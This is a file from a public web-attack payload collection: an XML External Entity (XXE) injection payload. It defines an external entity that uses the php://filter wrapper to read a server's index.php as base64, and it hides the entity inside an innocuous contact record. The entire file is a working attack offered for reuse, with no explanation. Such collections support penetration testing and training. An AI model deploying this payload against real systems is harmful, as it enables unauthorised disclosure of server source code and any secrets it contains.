PayloadsAllTheThings/XXE Injection/Files/XXE PHP Wrapper.xml
2020-10-17 22:52:35 +02:00

11 lines
305 B
XML

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<address>42 rue du CTF</address>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts>